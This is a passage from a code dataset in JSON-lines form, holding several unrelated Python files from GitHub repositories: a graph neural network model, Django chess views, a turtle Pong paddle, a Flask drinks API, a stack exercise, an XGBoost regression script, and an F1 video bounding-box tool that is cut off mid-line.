nf.num_blocks:\n # h = self.dc_layers[0](small_g, v, uid, 1)\n # else:\n # h = self.dc_layers[0](small_g, v, uid, 2)\n\n # edge_embs.append(self.U_s(F.relu(self.linear(h))))\n\n # return edge_embs\n\n\n# Functions below copied verbatim from original egi code, for use in this model\n\n\nclass MLP(nn.Module):\n \"\"\"MLP with linear output\"\"\"\n\n def __init__(self, num_layers, input_dim, hidden_dim, output_dim):\n \"\"\"MLP layers construction\n Paramters\n ---------\n num_layers: int\n The number of linear layers\n input_dim: int\n The dimensionality of input features\n hidden_dim: int\n The dimensionality of hidden units at ALL layers\n output_dim: int\n The number of classes for prediction\n \"\"\"\n super(MLP, self).__init__()\n self.linear_or_not = True # default is linear model\n self.num_layers = num_layers\n self.output_dim = output_dim\n\n if num_layers < 1:\n raise ValueError(\"number of layers should be positive!\")\n elif num_layers == 1:\n # Linear model\n self.linear = nn.Linear(input_dim, output_dim)\n else:\n # Multi-layer model\n self.linear_or_not = False\n self.linears = torch.nn.ModuleList()\n self.batch_norms = torch.nn.ModuleList()\n\n self.linears.append(nn.Linear(input_dim, hidden_dim))\n for layer in range(num_layers - 2):\n self.linears.append(nn.Linear(hidden_dim, hidden_dim))\n self.linears.append(nn.Linear(hidden_dim, output_dim))\n\n for layer in range(num_layers - 1):\n self.batch_norms.append(nn.BatchNorm1d((hidden_dim)))\n\n def forward(self, x):\n if self.linear_or_not:\n # If linear model\n return self.linear(x)\n else:\n # If MLP\n h = x\n for i in range(self.num_layers - 1):\n h = F.relu(self.batch_norms[i](self.linears[i](h)))\n return self.linears[-1](h)\n\n\nclass GIN(nn.Module):\n \"\"\"GIN model\"\"\"\n\n def __init__(\n self,\n num_layers,\n num_mlp_layers,\n input_dim,\n hidden_dim,\n output_dim,\n final_dropout,\n learn_eps,\n graph_pooling_type,\n neighbor_pooling_type,\n ):\n \"\"\"model parameters setting\n Paramters\n ---------\n num_layers: int\n The number of linear layers in the neural network\n num_mlp_layers: int\n The number of linear layers in mlps\n input_dim: int\n The dimensionality of input features\n hidden_dim: int\n The dimensionality of hidden units at ALL layers\n output_dim: int\n The number of classes for prediction\n final_dropout: float\n dropout ratio on the final linear layer\n learn_eps: boolean\n If True, learn epsilon to distinguish center nodes from neighbors\n If False, aggregate neighbors and center nodes altogether.\n neighbor_pooling_type: str\n how to aggregate neighbors (sum, mean, or max)\n graph_pooling_type: str\n how to aggregate entire nodes in a graph (sum, mean or max)\n \"\"\"\n super(GIN, self).__init__()\n self.num_layers = num_layers\n self.learn_eps = learn_eps\n\n # List of MLPs\n self.ginlayers = torch.nn.ModuleList()\n self.batch_norms = torch.nn.ModuleList()\n\n for layer in range(self.num_layers):\n if layer == 0:\n mlp = MLP(num_mlp_layers, input_dim, hidden_dim, hidden_dim)\n else:\n mlp = MLP(num_mlp_layers, hidden_dim, hidden_dim, hidden_dim)\n\n self.ginlayers.append(\n GINConv(ApplyNodeFunc(mlp), neighbor_pooling_type, 0, self.learn_eps)\n )\n self.batch_norms.append(nn.BatchNorm1d(hidden_dim))\n\n # Linear function for graph poolings of output of each layer\n # which maps the output of different layers into a prediction score\n self.linears_prediction = torch.nn.ModuleList()\n\n for layer in range(num_layers):\n if layer == 0:\n self.linears_prediction.append(nn.Linear(input_dim, output_dim))\n else:\n self.linears_prediction.append(nn.Linear(hidden_dim, output_dim))\n\n self.drop = nn.Dropout(final_dropout)\n\n if graph_pooling_type == \"sum\":\n self.pool = SumPooling()\n elif graph_pooling_type == \"mean\":\n self.pool = AvgPooling()\n elif graph_pooling_type == \"max\":\n self.pool = MaxPooling()\n else:\n raise NotImplementedError\n\n def forward(self, g, h):\n # list of hidden representation at each layer (including input)\n hidden_rep = [h]\n\n for i in range(self.num_layers):\n h = self.ginlayers[i](g, h)\n # print('batch norm')\n #\n h = self.batch_norms[i](h)\n h = F.relu(h)\n hidden_rep.append(h)\n\n # only need node embedding\n return h\n\n\nclass FF(nn.Module):\n def __init__(self, input_dim):\n super().__init__()\n self.block = nn.Sequential(\n nn.Linear(input_dim * 2, input_dim),\n nn.ReLU(),\n nn.Linear(input_dim, input_dim),\n nn.ReLU(),\n nn.Linear(input_dim, input_dim),\n nn.ReLU(),\n )\n self.linear_shortcut = nn.Linear(input_dim, input_dim)\n\n def forward(self, x):\n return self.block(x) + self.linear_shortcut(x)\n\n\nclass ApplyNodeFunc(nn.Module):\n \"\"\"Update the node feature hv with MLP, BN and ReLU.\"\"\"\n\n def __init__(self, mlp):\n super(ApplyNodeFunc, self).__init__()\n self.mlp = mlp\n self.bn = nn.BatchNorm1d(self.mlp.output_dim)\n\n def forward(self, h):\n h = self.mlp(h)\n h = self.bn(h)\n h = F.relu(h)\n return h\n\n\nclass MLP(nn.Module):\n \"\"\"MLP with linear output\"\"\"\n\n def __init__(self, num_layers, input_dim, hidden_dim, output_dim):\n \"\"\"MLP layers construction\n Paramters\n ---------\n num_layers: int\n The number of linear layers\n input_dim: int\n The dimensionality of input features\n hidden_dim: int\n The dimensionality of hidden units at ALL layers\n output_dim: int\n The number of classes for prediction\n \"\"\"\n super(MLP, self).__init__()\n self.linear_or_not = True # default is linear model\n self.num_layers = num_layers\n self.output_dim = output_dim\n\n if num_layers < 1:\n raise ValueError(\"number of layers should be positive!\")\n elif num_layers == 1:\n # Linear model\n self.linear = nn.Linear(input_dim, output_dim)\n else:\n # Multi-layer model\n self.linear_or_not = False\n self.linears = torch.nn.ModuleList()\n self.batch_norms = torch.nn.ModuleList()\n\n self.linears.append(nn.Linear(input_dim, hidden_dim))\n for layer in range(num_layers - 2):\n self.linears.append(nn.Linear(hidden_dim, hidden_dim))\n self.linears.append(nn.Linear(hidden_dim, output_dim))\n\n for layer in range(num_layers - 1):\n self.batch_norms.append(nn.BatchNorm1d((hidden_dim)))\n\n def forward(self, x):\n if self.linear_or_not:\n # If linear model\n return self.linear(x)\n else:\n # If MLP\n h = x\n for i in range(self.num_layers - 1):\n h = F.relu(self.batch_norms[i](self.linears[i](h)))\n return self.linears[-1](h)\n\n\ndef get_positive_expectation(p_samples, measure, average: bool = True):\n \"\"\"Computes the positive part of a divergence / difference.\n Args:\n p_samples: Positive samples.\n measure: Measure to compute for.\n average: Average the result over samples.\n Returns:\n torch.Tensor\n \"\"\"\n log_2 = math.log(2.0)\n\n if measure == \"GAN\":\n Ep = -F.softplus(-p_samples)\n elif measure == \"JSD\":\n Ep = log_2 - F.softplus(-p_samples)\n elif measure == \"X2\":\n Ep = p_samples**2\n elif measure == \"KL\":\n Ep = p_samples + 1.0\n elif measure == \"RKL\":\n Ep = -torch.exp(-p_samples)\n elif measure == \"DV\":\n Ep = p_samples\n elif measure == \"H2\":\n Ep = 1.0 - torch.exp(-p_samples)\n elif measure == \"W1\":\n Ep = p_samples\n else:\n raise_measure_error(measure)\n\n if average:\n return Ep.mean()\n else:\n return Ep\n\n\ndef get_negative_expectation(q_samples, measure, average: bool = True):\n \"\"\"Computes the negative part of a divergence / difference.\n Args:\n q_samples: Negative samples.\n measure: Measure to compute for.\n average: Average the result over samples.\n Returns:\n torch.Tensor\n \"\"\"\n log_2 = math.log(2.0)\n\n if measure == \"GAN\":\n Eq = F.softplus(-q_samples) + q_samples\n elif measure == \"JSD\":\n Eq = F.softplus(-q_samples) + q_samples - log_2\n elif measure == \"X2\":\n Eq = -0.5 * ((torch.sqrt(q_samples**2) + 1.0) ** 2)\n elif measure == \"KL\":\n Eq = torch.exp(q_samples)\n elif measure == \"RKL\":\n Eq = q_samples - 1.0\n elif measure == \"DV\":\n Eq = log_sum_exp(q_samples, 0) - math.log(q_samples.size(0))\n elif measure == \"H2\":\n Eq = torch.exp(q_samples) - 1.0\n elif measure == \"W1\":\n Eq = q_samples\n else:\n raise_measure_error(measure)\n\n if average:\n return Eq.mean()\n else:\n return Eq\n\n\nclass GNNDiscLayer(nn.Module):\n def __init__(self, in_feats, n_hidden):\n super(GNNDiscLayer, self).__init__()\n self.fc = nn.Linear(in_feats, n_hidden)\n self.layer_1 = True\n\n def reduce(self, nodes):\n return {\n \"m\": F.relu(self.fc(nodes.data[\"x\"]) + nodes.mailbox[\"m\"].mean(dim=1)),\n \"root\": nodes.mailbox[\"root\"].mean(dim=1),\n }\n\n def msg(self, edges):\n if self.layer_1:\n return {\"m\": self.fc(edges.src[\"x\"]), \"root\": edges.src[\"root\"]}\n else:\n return {\"m\": self.fc(edges.src[\"m\"]), \"root\": edges.src[\"root\"]}\n\n def edges(self, edges):\n return {\n \"output\": torch.cat(\n [edges.src[\"root\"], edges.src[\"m\"], edges.dst[\"x\"]], dim=1\n )\n }\n\n def forward(self, g, v, edges, depth=1):\n if depth == 1:\n self.layer_1 = True\n else:\n self.layer_1 = False\n\n g.apply_edges(self.edges, edges)\n\n g.push(v, self.msg, self.reduce)\n\n return g.edata.pop(\"output\")[edges]\n","repo_name":"niklasdewally/graph-transfer-learning","sub_path":"src/gtl/models/egi.py","file_name":"egi.py","file_ext":"py","file_size_in_byte":17270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"40449594139","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING, Union\nif TYPE_CHECKING:\n from uuid import UUID\n\nfrom django.http.response import HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .forms import GameCreationForm\nfrom .models import Game\nfrom rest_framework import serializers, viewsets\nfrom rest_framework import permissions\n\nfrom .models import Game\nfrom users.models import Profile\nfrom .serializers import GameSerializer\n\n\nclass GameViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows users to be viewed or edited.\n \"\"\"\n queryset = Game.objects.all()\n serializer_class = GameSerializer\n permission_classes = [permissions.IsAuthenticated]\n\n\ndef home(request) -> HttpResponse:\n \"\"\"\n Returns an HttpResponse containing the home page template\n \"\"\"\n return render(request, 'home.html')\n\n\ndef create_player_helper(request) -> Profile:\n \"\"\"\n Returns a Player Profile, if the user is not authenticted we generate \n a temporary profile for them based on their session id\n \"\"\"\n if not request.session.session_key:\n request.session.create()\n print(request.session.session_key)\n if request.user.is_authenticated:\n player = request.user.profile\n else:\n try:\n player = Profile.objects.get(\n session_id=request.session.session_key)\n except Profile.DoesNotExist:\n player = Profile.objects.create(\n session_id=request.session.session_key)\n print(player, request.session.session_key)\n # player.save()\n return player\n\n\ndef create_game(request) -> HttpResponseRedirect:\n \"\"\"\n Game Creation Form, redirects users to the generated game page.\n \"\"\"\n if request.method == 'POST':\n form = GameCreationForm(request.POST)\n if form.is_valid():\n new_game = form.save(commit=False)\n player = create_player_helper(request)\n new_game.creator = player\n\n if form.cleaned_data['side'] == 'white':\n new_game.white = player\n else:\n new_game.black = player\n new_game.save()\n url = '/game/' + str(new_game.match_id)\n context = {\n 'url': url\n }\n return redirect('online-game-page', match_id=new_game.match_id)\n\n else:\n url = None\n form = GameCreationForm()\n context = {'form': form, 'url': url}\n return render(request, 'chess/create_game.html', context)\n\n\ndef online_game(request, match_id: Union[UUID, str]) -> HttpResponse:\n \"\"\"\n Returns a HttpResponse containing the game page template, \n initlizes the game and player for the consumer. \n \"\"\"\n game = Game.get_by_id(match_id)\n player = create_player_helper(request)\n context = {\n 'game': game,\n 'player': player\n }\n return render(request, 'chess/board.html', context)\n\n\ndef lobby(request) -> HttpResponse:\n return render(request, 'chess/lobby.html')\n","repo_name":"galaddirie/chess","sub_path":"chess_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39700248736","text":"from turtle import Turtle\r\n\r\nCOLOR = \"white\"\r\nSHAPE = \"square\"\r\nSTRETCH_WIDTH = 5\r\nSTRETCH_LENGTH = 1\r\nUP = 90\r\nDOWN = 270\r\nMOVE_DISTANCE = 20\r\n\r\nclass Paddle(Turtle):\r\n def __init__(self, start_pos):\r\n super().__init__(shape=SHAPE)\r\n self.goto(start_pos)\r\n self.color(COLOR)\r\n self.shapesize(stretch_wid=STRETCH_WIDTH, stretch_len=STRETCH_LENGTH)\r\n self.penup()\r\n\r\n def up(self):\r\n new_y = self.ycor() + 20;\r\n self.goto(x = self.xcor(), y = new_y)\r\n\r\n def down(self):\r\n new_y = self.ycor() - 20;\r\n self.goto(x = self.xcor(), y = new_y)\r\n","repo_name":"JudythG/Pong","sub_path":"paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4753404254","text":"import os\nfrom flask import Flask, request, jsonify, abort\nfrom sqlalchemy import exc\nimport json\nfrom flask_cors import CORS\n\nfrom .database.models import db_drop_and_create_all, setup_db, Drink\nfrom .auth.auth import AuthError, requires_auth\nfrom .utils import error_response\nfrom .constants import (\n NOT_FOUND, NO_CONTENT, BAD_REQUEST, CREATED, UNPROCESSABLE_ENTITY,\n INTERNAL_SERVER_ERROR, METHOD_NOT_ALLOWED, UNAUTHORIZED\n)\n\napp = Flask(__name__)\nsetup_db(app)\nCORS(app)\n\n'''\n@TODO uncomment the following line to initialize the datbase\n!! NOTE THIS WILL DROP ALL RECORDS AND START YOUR DB FROM SCRATCH\n!! NOTE THIS MUST BE UNCOMMENTED ON FIRST RUN\n!! Running this funciton will add one\n'''\n# db_drop_and_create_all()\n\n# ROUTES\n\n\n@app.route('/drinks')\ndef get_drinks():\n \"\"\"\n Public endpoint to drinks.\n\n :return:\n \"\"\"\n return jsonify({\n 'success': True,\n 'drinks': [drink.short() for drink in Drink.query.all()]\n })\n\n\n@app.route('/drinks-detail')\n@requires_auth('get:drinks-detail')\ndef get_drinks_detail(token):\n \"\"\"\n Get drinks with details.\n\n :param token:\n :return:\n \"\"\"\n return jsonify({\n 'success': True,\n 'drinks': [drink.long() for drink in Drink.query.all()]\n })\n\n\n@app.route('/drinks', methods=['POST'])\n@requires_auth('post:drinks')\ndef add_drink(token):\n \"\"\"\n Add new drink.\n\n :param token:\n :return:\n \"\"\"\n try:\n data = request.get_json()\n drink = Drink(\n title=data.get('title'),\n recipe=json.dumps(data.get('recipe')))\n drink.insert()\n return jsonify({\n 'success': True,\n 'drink': drink.long()\n })\n except Exception:\n abort(BAD_REQUEST)\n\n\n@app.route('/drinks/', methods=['PATCH'])\n@requires_auth('patch:drinks')\ndef update_drink(token, drink_id):\n \"\"\"\n Update drink.\n\n :param token:\n :param drink_id:\n :return:\n \"\"\"\n try:\n drink = Drink.query.filter_by(id=drink_id).first()\n if not drink:\n abort(NOT_FOUND)\n\n data = request.get_json()\n drink.title = data.get('title')\n drink.recipe = json.dumps(data.get('recipe'))\n drink.update()\n\n return jsonify({\n 'success': True,\n 'drinks': [drink.long()]\n })\n except Exception:\n abort(BAD_REQUEST)\n\n\n@app.route('/drinks/', methods=['DELETE'])\n@requires_auth('delete:drinks')\ndef delete_drink(token, drink_id):\n \"\"\"\n Delete drink.\n\n :param token:\n :param drink_id:\n :return:\n \"\"\"\n try:\n drink = Drink.query.filter_by(id=drink_id).first()\n if not drink:\n abort(NOT_FOUND)\n\n drink.delete()\n\n return jsonify({\n 'success': True,\n 'delete': drink_id\n })\n except Exception:\n abort(BAD_REQUEST)\n\n\n# Error Handling\n@app.errorhandler(AuthError)\ndef auth_error(error):\n \"\"\"\n Error handling for our custom auth error class.\n :param error:\n :return:\n \"\"\"\n return jsonify(error.error), error.status_code\n\n\n@app.errorhandler(UNAUTHORIZED)\ndef not_found(error):\n \"\"\"\n Error handler for status code 401.\n :param error:\n :return:\n \"\"\"\n return error_response(UNAUTHORIZED)\n\n\n@app.errorhandler(NOT_FOUND)\ndef not_found(error):\n \"\"\"\n Error handler for status code 404.\n :param error:\n :return:\n \"\"\"\n return error_response(NOT_FOUND)\n\n\n@app.errorhandler(BAD_REQUEST)\ndef bad_request(error):\n \"\"\"\n Error handler for status code 400.\n :param error:\n :return:\n \"\"\"\n return error_response(BAD_REQUEST)\n\n\n@app.errorhandler(UNPROCESSABLE_ENTITY)\ndef unprocessable_entity(error):\n \"\"\"\n Error handler for status code 422.\n :param error:\n :return:\n \"\"\"\n return error_response(UNPROCESSABLE_ENTITY)\n\n\n@app.errorhandler(INTERNAL_SERVER_ERROR)\ndef internal_server_error(error):\n \"\"\"\n Error handler for status code 500.\n :param error:\n :return:\n \"\"\"\n return error_response(INTERNAL_SERVER_ERROR)\n\n\n@app.errorhandler(METHOD_NOT_ALLOWED)\ndef method_not_allowed(error):\n \"\"\"\n Error handler for status code 405.\n :param error:\n :return:\n \"\"\"\n return error_response(METHOD_NOT_ALLOWED)\n","repo_name":"BilalZQ/coffee_shop","sub_path":"backend/src/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6448540032","text":"# 스택 (#10828)\nimport sys\nN = int(sys.stdin.readline())\nstk = list()\ntop = -1\nfor i in range(N):\n str = sys.stdin.readline().rstrip().split()\n if str[0] == \"push\":\n top += 1\n stk.append(str[1])\n elif str[0] == \"pop\":\n if top == -1: print(-1)\n else: \n print(stk.pop(top))\n top -= 1\n elif str[0] == \"size\": print(top + 1)\n elif str[0] == \"empty\": \n if top == -1: print(1)\n else: print(0)\n elif str[0] == \"top\":\n if top == -1: print(-1)\n else: print(stk[top])","repo_name":"dannysmson/Baekjoon","sub_path":"BOJ_10828.py","file_name":"BOJ_10828.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"29824037649","text":"import xgboost as xgb\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom matplotlib import pyplot as plt\nimport os\nfrom sklearn import preprocessing\nfrom sklearn.metrics import mean_absolute_error\n\n\nos.environ[\"KMP_DUPLICATE_LIB_OK\"] = \"TRUE\"\n\n\ndef load_data(filename):\n data = pd.read_excel(filename)\n data = pd.DataFrame(data)\n x = data.drop(['成品率'], axis=1).drop(['卷号'],axis=1).drop(['时间'],axis=1)\n y = data['成品率']\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.1)\n return x_train, x_test, y_train, y_test\n\n\nfilename='../Datasets/成品率预测数据集--数字化后.xlsx'\nX_train, X_test, y_train, y_test = load_data(filename)\n\ndata_train = xgb.DMatrix(X_train, label=y_train)\ndata_test = xgb.DMatrix(X_test)\nparams = {'booster': 'gbtree',\n 'max_depth': 7,\n 'lambda': 10,\n 'subsample': 0.75,\n 'colsample_bytree': 0.75,\n 'min_child_weight': 1,\n 'eta': 0.025,\n 'seed': 0,\n 'silent': 0,\n 'gamma': 0.15,\n 'learning_rate': 0.01}\n\nwatchlist = [(data_train, 'train')]\nbst = xgb.train(params, data_train, num_boost_round=100, evals=watchlist)\nypred = bst.predict(data_test)\n\nprint(mean_absolute_error(y_test, ypred))\n\n# plt.figure()\n# plt.plot(np.arange(len(ypred)), y_test, label='true value')\n# plt.plot(np.arange(len(ypred)), ypred, label='predict value')\n# plt.legend()\n# plt.show()\n# 属性重要度排序\n# feat_imp = pd.Series(bst.get_fscore()).sort_values(ascending=False)\n# feat_imp.plot(kind='bar', title='Feature Importances')\n# plt.ylabel('Feature Importance Score')\n# plt.show()","repo_name":"marc45/RuiMin","sub_path":"Algorithm/XGBoost.py","file_name":"XGBoost.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"5998102226","text":"import cv2\nimport os\nimport torchvision\nimport json\nimport matplotlib.pyplot as plt\nimport math\n\nfrom tqdm import tqdm\nfrom nbformat import write\n\nfrom pytorch_lightning import Trainer\nfrom torch.utils.data import DataLoader\n\nfrom src.data.datasets import RacingF1Dataset\nfrom src.model.pl_modules import RacingF1Detector\nfrom src.utils import image_to_tensor, draw_bounding_box\nfrom PIL import Image\nfrom typing import List\n\ndef split_video_to_frames(path: str, output_path: str, zfill: int = 4) -> None:\n\n assert path != '' and output_path != ''\n\n if not os.path.isfile(path):\n raise ValueError(f\"Expected {path} to be a full path to a video file\")\n\n if not os.path.isdir(output_path):\n os.mkdir(output_path)\n \n video_capture = cv2.VideoCapture(path)\n success, image = video_capture.read()\n count = 0\n \n path = os.path.join(path)\n \n while success:\n cv2.imwrite(os.path.join(output_path, f\"frame_{str(count).zfill(zfill)}.jpg\"), image)\n success, image = video_capture.read()\n count += 1\n \n print(f\"Done {str(count)} frames.\")\n\n\ndef merge_frames_to_video(path: str, out_path: str, fps: int = 60) -> None:\n\n img_array = list()\n\n # Read frames from directory\n pbar = tqdm(sorted(f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))))\n for filename in pbar:\n pbar.set_description(f\"Reading {filename}\")\n img = cv2.imread(os.path.join(path, filename))\n height, width, layers = img.shape\n size = (width, height)\n img_array.append(img)\n \n if os.path.isdir(out_path):\n out_path = os.path.join(out_path, \"out_video.avi\")\n \n # Merge frames and write them into a video\n out = cv2.VideoWriter(out_path, cv2.VideoWriter_fourcc(*\"DIVX\"), fps, size)\n \n pbar = tqdm(range(len(img_array)))\n for i in pbar:\n pbar.set_description(f\"Writing frame #{i}\")\n out.write(img_array[i])\n\n out.release()\n\n\ndef chunks(lst, n):\n \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n for i in range(0, len(lst), n):\n yield lst[i:i + n]\n\n\ndef apply_nms(orig_prediction, iou_thresh: float):\n \n # torchvision returns the indices of the bboxes to keep\n keep = torchvision.ops.nms(orig_prediction['boxes'], orig_prediction['scores'], iou_thresh)\n \n final_prediction = orig_prediction\n final_prediction['boxes'] = final_prediction['boxes'][keep]\n final_prediction['scores'] = final_prediction['scores'][keep]\n final_prediction['labels'] = final_prediction['labels'][keep]\n \n return final_prediction\n\n\ndef remove_low_scores(orig_prediction, score_thresh: float):\n final_prediction = {\"boxes\": [], \"scores\": [], \"labels\": []}\n for idx, item in enumerate(orig_prediction[\"scores\"]):\n if item > score_thresh:\n final_prediction[\"boxes\"].append(orig_prediction[\"boxes\"][idx])\n final_prediction[\"scores\"].append(item)\n final_prediction[\"labels\"].append(1)\n \n return final_prediction\n\n\ndef generate_bounding_boxes(model_ckpt_path: str, frames_path: str, size_dirs: int = 5,\n score_thresh: float = 0.2, iou_thresh: float = 0.5, max_score: bool = False) -> None:\n model = RacingF1Detector.load_from_checkpoint(model_ckpt_path)\n model.eval()\n \n images_dir = sorted(f for f in os.listdir(frames_path) if os.path.isfile(os.path.join(frames_path, f)))\n\n output_boxes = {}\n for images_dir_chunk in chunks(images_dir, size_dirs):\n images = []\n\n pbar = tqdm(images_dir_chunk)\n for image_name in pbar:\n image_full_path = os.path.join(frames_path, image_name)\n pbar.set_description(f\"Reading {image_name}\")\n images.append(image_to_tensor(Image.open(image_full_path)))\n \n\n print(\"Computing predictions...\")\n outputs = model(images)\n\n output_path = os.path.join(frames_path, 'bounding_box')\n output_path_bbox = os.path.join(frames_path, 'txt_bounding_box')\n\n if not os.path.isdir(output_path):\n os.mkdir(output_path)\n \n if not os.path.isdir(output_path_bbox):\n os.mkdir(output_path_bbox)\n\n pbar = tqdm(enumerate(images_dir_chunk))\n for idx, image_name in pbar:\n image_full_path = os.path.join(frames_path, image_name)\n pbar.set_description(f\"Drawing bounding box on {image_name}\")\n \n if len(outputs[idx]['boxes']) == 0:\n continue\n \n if not max_score:\n pred = remove_low_scores(outputs[idx], score_thresh)\n pred = apply_nms(outputs[idx], iou_thresh)\n with open(os.path.join(frames_path, 'txt_bounding_box', image_name.replace('.jpg', '.txt')), mode='w') as f:\n json.dump(pred[\"boxes\"].detach().numpy().tolist(), f)\n img = draw_bounding_box(Image.open(image_full_path), pred[\"boxes\"])\n else:\n img = draw_bounding_box(Image.open(image_full_path), [outputs[idx]['boxes'][0]])\n \n \n img.save(os.path.join(output_path, image_name), \"JPEG\") \n images = []\n #return output_boxes\n \n \ndef calculate_histogram_bounding_box(image_path: str, bbox_file_path: str):\n image = cv2.imread(image_path)\n \n with open(bbox_file_path, mode='r') as f:\n bounding_boxes = json.load(f)\n \n histograms = []\n for bbox in bounding_boxes:\n bbox = [int(i) for i in bbox]\n crop_img = image[bbox[1]+2:bbox[3]-2, bbox[0]+2:bbox[2]-2]\n hist = cv2.calcHist([crop_img], [0, 1, 2], None, [256, 256, 256], [0, 256, 0, 256, 0, 256])\n histograms.append(hist)\n return histograms\n \n\ndef calculate_histogram_from_coordinates(image_path: str, coordinates: List[int]):\n image = cv2.imread(image_path)\n histograms = []\n coordinates = [int(i) for i in coordinates]\n #for coord in coordinates:\n crop_img = image[coordinates[1]+2:coordinates[3]-2, coordinates[0]+2:coordinates[2]-2]\n hist = cv2.calcHist([crop_img], [0, 1, 2], None, [256, 256, 256], [0, 256, 0, 256, 0, 256])\n histograms.append(hist)\n return histograms\n\n\ndef calculate_histogram_distance(hist1, hist2, method=cv2.HISTCMP_INTERSECT):\n hist1 = cv2.normalize(hist1, hist1)\n hist2 = cv2.normalize(hist2, hist2)\n \n return cv2.compareHist(hist1, hist2, method)\n\n\n\ndef check_bounding_boxes(frames_path: str):\n txt_path = os.path.join(frames_path, 'txt_bounding_box')\n images_path = os.path.join(frames_path, 'bounding_box')\n output_dir = os.path.join(frames_path, 'bounding_box_hists')\n \n images = os.listdir(images_path)\n for i, image_name in tqdm(enumerate(images)):\n \n #print(\"Current image\", image_name)\n if i == len(images) -1:\n # we do not need to check the last element.\n break\n \n first_image = os.path.join(images_path, image_name)\n second_image = os.path.join(images_path, images[i + 1])\n \n with open(os.path.join(txt_path, image_name.replace('.jpg', '.txt')), mode='r') as f:\n first_image_bbox = json.load(f)\n \n with open(os.path.join(txt_path, images[i + 1].replace('.jpg', '.txt')), mode='r') as f:\n second_image_bbox = json.load(f)\n \n\n if len(first_image_bbox) > len(second_image_bbox):\n first_greater_second(first_image_bbox, second_image_bbox, image_name, images[i + 1], images_path, output_dir, txt_path)\n elif len(first_image_bbox) < len(second_image_bbox):\n second_greater_first(first_image_bbox, second_image_bbox, image_name, images[i + 1], images_path, output_dir, txt_path)\n else:\n equal_bboxes_length(first_image_bbox, second_image_bbox, image_name, images[i + 1], images_path, output_dir, txt_path)\n\n\ndef calculate_centroids(x1, x2, y1, y2):\n return ((x1 + x2)/2, (y1 + y2)/2)\n\n\ndef first_greater_second(first_bboxes: List[List[float]], second_bboxes: List[List[float]], first_image_name: str, second_image_name: str, images_path: str, output_dir: str, txt_path: str):\n # case in which the prev frame has > bboxes than the second.\n tmp_first_bboxes = first_bboxes\n for first_bbox in first_bboxes:\n for second_bbox in second_bboxes:\n first_centroid = calculate_centroids(first_bbox[0], first_bbox[2], first_bbox[1], first_bbox[3])\n second_centroid = calculate_centroids(second_bbox[0], second_bbox[2], second_bbox[1], second_bbox[3])\n \n distance = math.hypot(second_centroid[0] - first_centroid[0], second_centroid[1] - first_centroid[1])\n if distance < 50 and distance > 1: # threshold\n tmp_first_bboxes.remove(first_bbox) # same bbox\n break\n \n # now in tmp_first_bboxes we have only boxes to check with histograms.\n for bbox in tmp_first_bboxes:\n histogram_frame_curr = calculate_histogram_from_coordinates(os.path.join(images_path, first_image_name), bbox)\n histogram_frame_next = calculate_histogram_from_coordinates(os.path.join(images_path, second_image_name), bbox)\n \n hist_distance = calculate_histogram_distance(histogram_frame_curr[0], histogram_frame_next[0])\n \n if hist_distance < 3:\n img = draw_bounding_box(Image.open(os.path.join(images_path, second_image_name)), [bbox])\n img.save(os.path.join(output_dir, second_image_name), \"JPEG\")\n second_bboxes.append(bbox)\n \n write_new_bounding_box(os.path.join(txt_path, second_image_name.replace('.jpg', '.txt')), second_bboxes)\n \n \ndef second_greater_first(first_bboxes: List[List[float]], second_bboxes: List[List[float]], first_image_name: str, second_image_name: str, images_path: str, output_dir: str, txt_path: str):\n # case in which the prev frame has > bboxes than the second.\n tmp_second_bboxes = second_bboxes\n for second_bbox in second_bboxes:\n for first_bbox in first_bboxes:\n first_centroid = calculate_centroids(first_bbox[0], first_bbox[2], first_bbox[1], first_bbox[3])\n second_centroid = calculate_centroids(second_bbox[0], second_bbox[2], second_bbox[1], second_bbox[3])\n \n distance = math.hypot(second_centroid[0] - first_centroid[0], second_centroid[1] - first_centroid[1])\n if distance < 50 and distance > 1: # threshold\n tmp_second_bboxes.remove(second_bbox) # same bbox\n break\n \n # now in tmp_first_bboxes we have only boxes to check with histograms.\n for bbox in tmp_second_bboxes:\n histogram_frame_curr = calculate_histogram_from_coordinates(os.path.join(images_path, first_image_name), bbox)\n histogram_frame_next = calculate_histogram_from_coordinates(os.path.join(images_path, second_image_name), bbox)\n \n hist_distance = calculate_histogram_distance(histogram_frame_curr[0], histogram_frame_next[0])\n \n if hist_distance < 3:\n img = draw_bounding_box(Image.open(os.path.join(images_path, first_image_name)), [bbox])\n img.save(os.path.join(output_dir, first_image_name), \"JPEG\")\n first_bboxes.append(bbox)\n \n write_new_bounding_box(os.path.join(txt_path, first_image_name.replace('.jpg', '.txt')), first_bboxes)\n\n\ndef equal_bboxes_length(first_bboxes: List[List[float]], second_bboxes: List[List[float]], first_image_name: str, second_image_name: str, images_path: str, output_dir: str, txt_path: str):\n for idx, bbox in enumerate(first_bboxes):\n first_centroid = calculate_centroids(bbox[0], bbox[2], bbox[1], bbox[3])\n second_centroid = calculate_centroids(second_bboxes[idx][0], second_bboxes[idx][2], second_bboxes[idx][1], second_bboxes[idx][3])\n \n distance = math.hypot(second_centroid[0] - first_centroid[0], second_centroid[1] - first_centroid[1])\n \n if distance < 50 and distance > 1:\n # they are, probably, two different bounding boxes and we need to check better\n #print(distance, first_image_name, second_image_name)\n histogram_frame_curr = 